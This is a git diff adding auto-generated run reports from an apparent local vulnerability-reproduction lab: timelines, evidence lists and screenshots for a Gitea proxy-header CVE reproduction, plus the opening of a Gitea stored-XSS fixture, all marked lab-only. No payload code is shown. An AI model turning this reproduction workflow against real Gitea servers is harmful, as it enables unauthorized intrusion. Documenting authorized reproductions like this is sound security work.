zme)b=FTU6~Y-+dn?%^~;OKUB{w6jgx;M@<_!kM(<-ah{B5tOE>O(G&sSIKVajhVHE z?W`QHt$h}Tq0#@{OhD(@@eoEA@e$ zdUGeejs9ojKRHta=?Q)h&|#O;)cp=QU;OEKv%vcE8IPSC+9HZ2z_8U5@zxK4M}{^w zKE3(Tq{b!@akL*LuP+a-kQCM^wV!M|KO~F!=Aw~Ju-$GkmRovW_kNt2Svqd5Y;63W zVG;u4#RySkWySTC#2O{Fr=)aN-S)Z*zQtscNyCRi-9Pw(RRZBdd77B~w}vHl`EcF} z|L?OYg$-GL-28yqcPzio?FwwsxjEf4GjrBkW{enE+UXCrBx=Iv!BRVt^~3Cx;7;}u3D z%fp2lECKKkqPFCelt6Sq$k`szclBI@6_u?KK0!Ath<5#alizW|zqd|KnOxGYguGZ- z_d1Pk!IFoabxZZ8nhfC*Yy8oR9dYa?0@nRM&>tteO5K)~$g88CY`%EP5-+Ys5L?Rc zWYlE0G+$|{z!D%n@me*NM}DmInnPbiby@fI(N_56?hcR7asu_G4_S@l3Co&LR4hdbu)(5g0i{U;9d& z3)rU43sK`8A8(J~1?*Q#$k{ zUtp?UyNVm$M?NVh`*&(_J0`V(kuw?(5%Jv+Y`Cs zxl2HUc3&!5gI!!)EJD|-Qzj3w2d#ep;p~hGaiG-)@#IwqRygha`npEm``25!o2~dX zTxM&7#0F_#*>>UYejnJD3dU#BsV*NyTZS}e-?<97r;`paQ_l(2!<}K8Ri2;2NI7sZ)+@cD^KBt< zF9OrfIJMV*9G}Oevq6@Er6Zp*%SJj>Ec`}8&yR9G%ZmH@KkTW=n@N5KyU?pJ*VjvK z_B(#pw=GIQBc=gMrB_TMh3E)CgWT8K$y8LHA2L_PHA|RSTd$lSZ|_W0iH}dn$G&t) zWFxnfHmZHU)}7*J=duG{I)V%iIbO{CG5pPX}GaZ%8?=L*L!Yg z{jYN|UpbAz5Y_FqGlfB$!@a)uoglr+Rb!@l#fmLt%0K5L+SeYrUfcMGTkTpn} zC)|%eJn>}KVBkkPZ_UxQODZ%MJ(rT{&JZ?sL{(OHW{LNe8vBhzJ)#`7AK7zzeX_Sy zJYqkb5X4)Y)D}T0i&twI&lioqg{gKPGr;>^X4M@(M4uRKZa+L)hW1YCL^5$18@d^ik4b3DdRj5)wvM)SYJ;*Z=weSQ-+g!cQaahF8hZ@qINeh`!ry5;1EN++){a7VPmdGm*bX=N)sy>e&7KbjXvEYhF;G} zW&iAi7@Wt11_*mjSD4rAxycEbHgE4wyf85_nW$XROe5{i%BN|t>{?o6(15|cVwh#b@2zA}oyD5s))57&_(G{IP%J_VL{W${Oi zvYi(i*B`u^zD}uHVNlLQ+3ac@dJL?FkJ=1;OTA{4{L-h-Bl+c?9p%EuKVqem8kk$e zF}ZI{>dagY?Xzl1YsL1E6Z&;+YE3u|azgu88q7ci3t^A`e zJ8=Kr6FQr&=ceeX*p>+Ep{doom;#S|`mmL{+Ik%5MflT)?cp?HRtK*Zc2trD4yQ3* zlRq|w3v+OFpSM3<)cZW@(cU}VmnEKL?1@nRi2YL}Sz-OHhTzy)-TQ&zxu_jWM|0}w zwJw$h|22hd8nhQ4lPSbx?3zZ*q8k*-Ho_OKOLd5?q$8<2he_&pn>al{e)Qa)VuIeW zgM`?eRt9pI!rg5nsk=P3QY|^t&6u9A4m4H0DT{W3tgNrIRGA_>b!Dl-;Z<(%fbgL* z@4dysQSC^Hkz!re)wh)VrSL;KBA>q!0_pKj2=$fQhH{ZR6UAAC@5dD{Q=-U)r@U=d zQ@B)M<&&hcQ54pWj)ltQyZ>$@6xK?S6%`fup0Oot2((gc>q-RUL38Kp+voU{e6Q5b zw6P

    运行 gitea-gitea--CVE-2020-13246-20260318012806

    +
    +
    漏洞条目
    gitea--CVE-2020-13246
    +
    实证状态
    verified-real
    +
    复现 Profile
    gitea-proxy-boundary
    +
    Artifact 模式
    local-fixture
    +
    +

    Mermaid 时间线

    +
    flowchart LR
    +A["选择 Advisory"] --> B["解析 Repro Profile"]
    +B --> C["生成 Compose 环境"]
    +C --> D["采集基线快照"]
    +D --> E["执行受控攻击步骤"]
    +E --> F["浏览器回放验证"]
    +F --> G["收集日志与证据"]
    +G --> H["回写 Registry 与报告"]
    +

    运行时间线

    + + + + + + + + + + + + + + +
    时间步骤状态说明
    2026-03-18T01:28:06+00:00select-advisorycompletedgitea--CVE-2020-13246
    2026-03-18T01:28:06+00:00resolve-repro-profilecompletedgitea-proxy-boundary
    2026-03-18T01:28:07+00:00doctorcompletedall checks passed
    2026-03-18T01:28:10+00:00provision-compose-environmentready-
    2026-03-18T01:28:10+00:00wait-readycompletedbaseline urls ready (1)
    2026-03-18T01:28:10+00:00seed-environmentcompletedsteps=1
    2026-03-18T01:28:10+00:00baseline-snapshotcompletedurls=1
    2026-03-18T01:28:10+00:00browser-replay-before-attackcompleted-
    2026-03-18T01:28:10+00:00controlled-attack-chaincompletedsteps=1
    2026-03-18T01:28:11+00:00browser-replay-after-attackcompleted-
    2026-03-18T01:28:11+00:00collect-logs-and-evidencecompletedcontainer_logs=1
    2026-03-18T01:28:13+00:00cleanup-compose-environmentcompleteddocker compose down completed
    2026-03-18T01:28:13+00:00update-registry-and-reportscompletedgitea-gitea--CVE-2020-13246-20260318012806
    +

    攻击步骤

    + + +
    工具状态输出
    gitea.proxy-boundarycompleted/Users/x/websafe/06-case-studies/generated-runs/gitea-gitea--CVE-2020-13246-20260318012806/logs/attack.json
    +

    浏览器截图

    + +

    证据清单

      +
    • compose/compose.yaml
    • +
    • assets/baseline.png
    • +
    • assets/baseline-dom.html
    • +
    • logs/baseline-console.json
    • +
    • logs/baseline-network.json
    • +
    • logs/baseline-page.json
    • +
    • assets/proof.png
    • +
    • assets/proof-dom.html
    • +
    • logs/proof-console.json
    • +
    • logs/proof-network.json
    • +
    • logs/proof-page.json
    • +
    • logs/docker/app.log
    • +
    • logs/attack.json
    • +
    • logs/baseline.json
    • +
    + diff --git a/06-case-studies/generated-runs/gitea-gitea--CVE-2020-13246-20260318012806/report.md b/06-case-studies/generated-runs/gitea-gitea--CVE-2020-13246-20260318012806/report.md new file mode 100644 index 00000000..d9996e5c --- /dev/null +++ b/06-case-studies/generated-runs/gitea-gitea--CVE-2020-13246-20260318012806/report.md @@ -0,0 +1,86 @@ +# 运行 gitea-gitea--CVE-2020-13246-20260318012806 + +> `LAB ONLY` | `AUTHORIZED TARGETS ONLY` | 自动生成 run bundle + +- 漏洞条目: `gitea--CVE-2020-13246` +- 系统: `gitea` +- Repro Profile: `gitea-proxy-boundary` +- 实证状态: `verified-real` +- 实证方式: `real` +- Artifact 模式: `local-fixture` +- 启动时间: `2026-03-18T01:28:06+00:00` +- 完成时间: `2026-03-18T01:28:13+00:00` +- 阻塞原因: `-` +- Compose 服务: `app` + +## 运行时间线 + +- Mermaid: [timeline.mmd](/Users/x/websafe/06-case-studies/generated-runs/gitea-gitea--CVE-2020-13246-20260318012806/timeline.mmd) + +| 时间 | 步骤 | 状态 | 说明 | +|------|------|------|------| +| `2026-03-18T01:28:06+00:00` | `select-advisory` | `completed` | gitea--CVE-2020-13246 | +| `2026-03-18T01:28:06+00:00` | `resolve-repro-profile` | `completed` | gitea-proxy-boundary | +| `2026-03-18T01:28:07+00:00` | `doctor` | `completed` | all checks passed | +| `2026-03-18T01:28:10+00:00` | `provision-compose-environment` | `ready` | - | +| `2026-03-18T01:28:10+00:00` | `wait-ready` | `completed` | baseline urls ready (1) | +| `2026-03-18T01:28:10+00:00` | `seed-environment` | `completed` | steps=1 | +| `2026-03-18T01:28:10+00:00` | `baseline-snapshot` | `completed` | urls=1 | +| `2026-03-18T01:28:10+00:00` | `browser-replay-before-attack` | `completed` | - | +| `2026-03-18T01:28:10+00:00` | `controlled-attack-chain` | `completed` | steps=1 | +| `2026-03-18T01:28:11+00:00` | `browser-replay-after-attack` | `completed` | - | +| `2026-03-18T01:28:11+00:00` | `collect-logs-and-evidence` | `completed` | container_logs=1 | +| `2026-03-18T01:28:13+00:00` | `cleanup-compose-environment` | `completed` | docker compose down completed | +| `2026-03-18T01:28:13+00:00` | `update-registry-and-reports` | `completed` | gitea-gitea--CVE-2020-13246-20260318012806 | + +## Compose 拓扑 + +- Compose 文件: `/Users/x/websafe/06-case-studies/generated-runs/gitea-gitea--CVE-2020-13246-20260318012806/compose/compose.yaml` +- 服务列表: `app` + +## 攻击步骤 + +| 工具/步骤 | 状态 | 结果 | +|-----------|------|------| +| `gitea.proxy-boundary` | `completed` | `/Users/x/websafe/06-case-studies/generated-runs/gitea-gitea--CVE-2020-13246-20260318012806/logs/attack.json` | + +## 证据摘要 + +- Baseline: `1` +- 攻击步骤: `1` +- 浏览器证据: `10` +- 容器日志: `1` +- 请求日志: `2` + +## 浏览器截图 + +![baseline](assets/baseline.png) +![proof](assets/proof.png) + +## 浏览器证据 + +- `assets/baseline.png` +- `assets/baseline-dom.html` +- `logs/baseline-console.json` +- `logs/baseline-network.json` +- `logs/baseline-page.json` +- `assets/proof.png` +- `assets/proof-dom.html` +- `logs/proof-console.json` +- `logs/proof-network.json` +- `logs/proof-page.json` + +## 容器日志 + +- `logs/docker/app.log` + +## 请求与基线日志 + +- `logs/attack.json` +- `logs/baseline.json` + +## 最小化验证说明 + +- 仅限自有资产、本地靶场或已授权实验目标。 +- 默认执行 minimal-proof;不会把破坏性或不可回滚动作作为默认路径。 +- 若浏览器证据缺失,前端类案例不会被标为 `verified-*`。 diff --git a/06-case-studies/generated-runs/gitea-gitea--CVE-2020-13246-20260318012806/run.json b/06-case-studies/generated-runs/gitea-gitea--CVE-2020-13246-20260318012806/run.json new file mode 100644 index 00000000..e2b01700 --- /dev/null +++ b/06-case-studies/generated-runs/gitea-gitea--CVE-2020-13246-20260318012806/run.json @@ -0,0 +1,197 @@ +{ + "run_id": "gitea-gitea--CVE-2020-13246-20260318012806", + "system_id": "gitea", + "advisory_id": "gitea--CVE-2020-13246", + "repro_profile_id": "gitea-proxy-boundary", + "verification_status": "verified-real", + "verification_mode": "real", + "artifact_mode": "local-fixture", + "target_env": "local-docker", + "compose_services": [ + "app" + ], + "baseline_refs": [ + "/Users/x/websafe/06-case-studies/generated-runs/gitea-gitea--CVE-2020-13246-20260318012806/logs/baseline.json" + ], + "attack_steps": [ + { + "kind": "runner", + "tool": "gitea.proxy-boundary", + "status": "completed", + "status_code": 200, + "result_path": "/Users/x/websafe/06-case-studies/generated-runs/gitea-gitea--CVE-2020-13246-20260318012806/logs/attack.json" + } + ], + "browser_refs": [ + "/Users/x/websafe/06-case-studies/generated-runs/gitea-gitea--CVE-2020-13246-20260318012806/assets/baseline.png", + "/Users/x/websafe/06-case-studies/generated-runs/gitea-gitea--CVE-2020-13246-20260318012806/assets/baseline-dom.html", + "/Users/x/websafe/06-case-studies/generated-runs/gitea-gitea--CVE-2020-13246-20260318012806/logs/baseline-console.json", + "/Users/x/websafe/06-case-studies/generated-runs/gitea-gitea--CVE-2020-13246-20260318012806/logs/baseline-network.json", + "/Users/x/websafe/06-case-studies/generated-runs/gitea-gitea--CVE-2020-13246-20260318012806/logs/baseline-page.json", + "/Users/x/websafe/06-case-studies/generated-runs/gitea-gitea--CVE-2020-13246-20260318012806/assets/proof.png", + "/Users/x/websafe/06-case-studies/generated-runs/gitea-gitea--CVE-2020-13246-20260318012806/assets/proof-dom.html", + "/Users/x/websafe/06-case-studies/generated-runs/gitea-gitea--CVE-2020-13246-20260318012806/logs/proof-console.json", + "/Users/x/websafe/06-case-studies/generated-runs/gitea-gitea--CVE-2020-13246-20260318012806/logs/proof-network.json", + "/Users/x/websafe/06-case-studies/generated-runs/gitea-gitea--CVE-2020-13246-20260318012806/logs/proof-page.json" + ], + "browser_evidence": { + "required": true, + "present": true, + "refs": [ + "/Users/x/websafe/06-case-studies/generated-runs/gitea-gitea--CVE-2020-13246-20260318012806/assets/baseline.png", + "/Users/x/websafe/06-case-studies/generated-runs/gitea-gitea--CVE-2020-13246-20260318012806/assets/baseline-dom.html", + "/Users/x/websafe/06-case-studies/generated-runs/gitea-gitea--CVE-2020-13246-20260318012806/logs/baseline-console.json", + "/Users/x/websafe/06-case-studies/generated-runs/gitea-gitea--CVE-2020-13246-20260318012806/logs/baseline-network.json", + "/Users/x/websafe/06-case-studies/generated-runs/gitea-gitea--CVE-2020-13246-20260318012806/logs/baseline-page.json", + "/Users/x/websafe/06-case-studies/generated-runs/gitea-gitea--CVE-2020-13246-20260318012806/assets/proof.png", + "/Users/x/websafe/06-case-studies/generated-runs/gitea-gitea--CVE-2020-13246-20260318012806/assets/proof-dom.html", + "/Users/x/websafe/06-case-studies/generated-runs/gitea-gitea--CVE-2020-13246-20260318012806/logs/proof-console.json", + "/Users/x/websafe/06-case-studies/generated-runs/gitea-gitea--CVE-2020-13246-20260318012806/logs/proof-network.json", + "/Users/x/websafe/06-case-studies/generated-runs/gitea-gitea--CVE-2020-13246-20260318012806/logs/proof-page.json" + ], + "baseline_refs": [ + "/Users/x/websafe/06-case-studies/generated-runs/gitea-gitea--CVE-2020-13246-20260318012806/assets/baseline.png", + "/Users/x/websafe/06-case-studies/generated-runs/gitea-gitea--CVE-2020-13246-20260318012806/assets/baseline-dom.html", + "/Users/x/websafe/06-case-studies/generated-runs/gitea-gitea--CVE-2020-13246-20260318012806/logs/baseline-console.json", + "/Users/x/websafe/06-case-studies/generated-runs/gitea-gitea--CVE-2020-13246-20260318012806/logs/baseline-network.json", + "/Users/x/websafe/06-case-studies/generated-runs/gitea-gitea--CVE-2020-13246-20260318012806/logs/baseline-page.json" + ], + "proof_refs": [ + "/Users/x/websafe/06-case-studies/generated-runs/gitea-gitea--CVE-2020-13246-20260318012806/assets/proof.png", + "/Users/x/websafe/06-case-studies/generated-runs/gitea-gitea--CVE-2020-13246-20260318012806/assets/proof-dom.html", + "/Users/x/websafe/06-case-studies/generated-runs/gitea-gitea--CVE-2020-13246-20260318012806/logs/proof-console.json", + "/Users/x/websafe/06-case-studies/generated-runs/gitea-gitea--CVE-2020-13246-20260318012806/logs/proof-network.json", + "/Users/x/websafe/06-case-studies/generated-runs/gitea-gitea--CVE-2020-13246-20260318012806/logs/proof-page.json" + ], + "baseline_title": "Gitea Proxy Boundary Fixture", + "proof_title": "Gitea Proxy Boundary Fixture - proof", + "error_kind": null, + "reason": null + }, + "container_log_refs": [ + "/Users/x/websafe/06-case-studies/generated-runs/gitea-gitea--CVE-2020-13246-20260318012806/logs/docker/app.log" + ], + "request_log_refs": [ + "/Users/x/websafe/06-case-studies/generated-runs/gitea-gitea--CVE-2020-13246-20260318012806/logs/attack.json", + "/Users/x/websafe/06-case-studies/generated-runs/gitea-gitea--CVE-2020-13246-20260318012806/logs/baseline.json" + ], + "compose_refs": [ + "/Users/x/websafe/06-case-studies/generated-runs/gitea-gitea--CVE-2020-13246-20260318012806/compose/compose.yaml" + ], + "timeline": [ + { + "at": "2026-03-18T01:28:06+00:00", + "step": "select-advisory", + "status": "completed", + "detail": "gitea--CVE-2020-13246" + }, + { + "at": "2026-03-18T01:28:06+00:00", + "step": "resolve-repro-profile", + "status": "completed", + "detail": "gitea-proxy-boundary" + }, + { + "at": "2026-03-18T01:28:07+00:00", + "step": "doctor", + "status": "completed", + "detail": "all checks passed" + }, + { + "at": "2026-03-18T01:28:10+00:00", + "step": "provision-compose-environment", + "status": "ready", + "detail": "" + }, + { + "at": "2026-03-18T01:28:10+00:00", + "step": "wait-ready", + "status": "completed", + "detail": "baseline urls ready (1)" + }, + { + "at": "2026-03-18T01:28:10+00:00", + "step": "seed-environment", + "status": "completed", + "detail": "steps=1" + }, + { + "at": "2026-03-18T01:28:10+00:00", + "step": "baseline-snapshot", + "status": "completed", + "detail": "urls=1" + }, + { + "at": "2026-03-18T01:28:10+00:00", + "step": "browser-replay-before-attack", + "status": "completed", + "detail": "" + }, + { + "at": "2026-03-18T01:28:10+00:00", + "step": "controlled-attack-chain", + "status": "completed", + "detail": "steps=1" + }, + { + "at": "2026-03-18T01:28:11+00:00", + "step": "browser-replay-after-attack", + "status": "completed", + "detail": "" + }, + { + "at": "2026-03-18T01:28:11+00:00", + "step": "collect-logs-and-evidence", + "status": "completed", + "detail": "container_logs=1" + }, + { + "at": "2026-03-18T01:28:13+00:00", + "step": "cleanup-compose-environment", + "status": "completed", + "detail": "docker compose down completed" + }, + { + "at": "2026-03-18T01:28:13+00:00", + "step": "update-registry-and-reports", + "status": "completed", + "detail": "gitea-gitea--CVE-2020-13246-20260318012806" + } + ], + "success_evaluation": { + "passed": true, + "verification_status": "verified-real", + "blocked_reason": null, + "assertions": [ + { + "name": "baseline-ok", + "kind": "baseline-ok", + "passed": true, + "detail": "baseline URLs responded without 5xx or transport errors" + }, + { + "name": "runner-success", + "kind": "runner-success", + "passed": true, + "detail": "trusted forwarded headers crossed the boundary" + }, + { + "name": "browser-present", + "kind": "browser-present", + "passed": true, + "detail": "browser evidence captured" + } + ] + }, + "historical_status": "verified-real", + "latest_status": "verified-real", + "started_at": "2026-03-18T01:28:06+00:00", + "finished_at": "2026-03-18T01:28:13+00:00", + "blocked_reason": null, + "report_refs": { + "bundle_dir": "/Users/x/websafe/06-case-studies/generated-runs/gitea-gitea--CVE-2020-13246-20260318012806", + "report_md": "/Users/x/websafe/06-case-studies/generated-runs/gitea-gitea--CVE-2020-13246-20260318012806/report.md", + "report_html": "/Users/x/websafe/06-case-studies/generated-runs/gitea-gitea--CVE-2020-13246-20260318012806/report.html", + "timeline": "/Users/x/websafe/06-case-studies/generated-runs/gitea-gitea--CVE-2020-13246-20260318012806/timeline.mmd" + } +} diff --git a/06-case-studies/generated-runs/gitea-gitea--CVE-2020-13246-20260318012806/timeline.mmd b/06-case-studies/generated-runs/gitea-gitea--CVE-2020-13246-20260318012806/timeline.mmd new file mode 100644 index 00000000..71155437 --- /dev/null +++ b/06-case-studies/generated-runs/gitea-gitea--CVE-2020-13246-20260318012806/timeline.mmd @@ -0,0 +1,8 @@ +flowchart LR +A["选择 Advisory"] --> B["解析 Repro Profile"] +B --> C["生成 Compose 环境"] +C --> D["采集基线快照"] +D --> E["执行受控攻击步骤"] +E --> F["浏览器回放验证"] +F --> G["收集日志与证据"] +G --> H["回写 Registry 与报告"] diff --git a/06-case-studies/generated-runs/gitea-gitea--CVE-2021-28378-20260318012813/assets/baseline-dom.html b/06-case-studies/generated-runs/gitea-gitea--CVE-2021-28378-20260318012813/assets/baseline-dom.html new file mode 100644 index 00000000..50bc4932 --- /dev/null +++ b/06-case-studies/generated-runs/gitea-gitea--CVE-2021-28378-20260318012813/assets/baseline-dom.html @@ -0,0 +1,26 @@ + + + + Gitea Stored XSS Fixture + + + +
    +

    Gitea Stored XSS Fixture

    +

    Stored payload rendering path for browser proof capture.

    +
    Baseline ready
    +

    System: gitea / Family: xss

    + + + + + +
    + + \ No newline at end of file diff --git a/06-case-studies/generated-runs/gitea-gitea--CVE-2021-28378-20260318012813/assets/baseline.png b/06-case-studies/generated-runs/gitea-gitea--CVE-2021-28378-20260318012813/assets/baseline.png new file mode 100644 index 0000000000000000000000000000000000000000..450c77a3cb700df5d649e920114849209880a55c GIT binary patch literal 27148 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 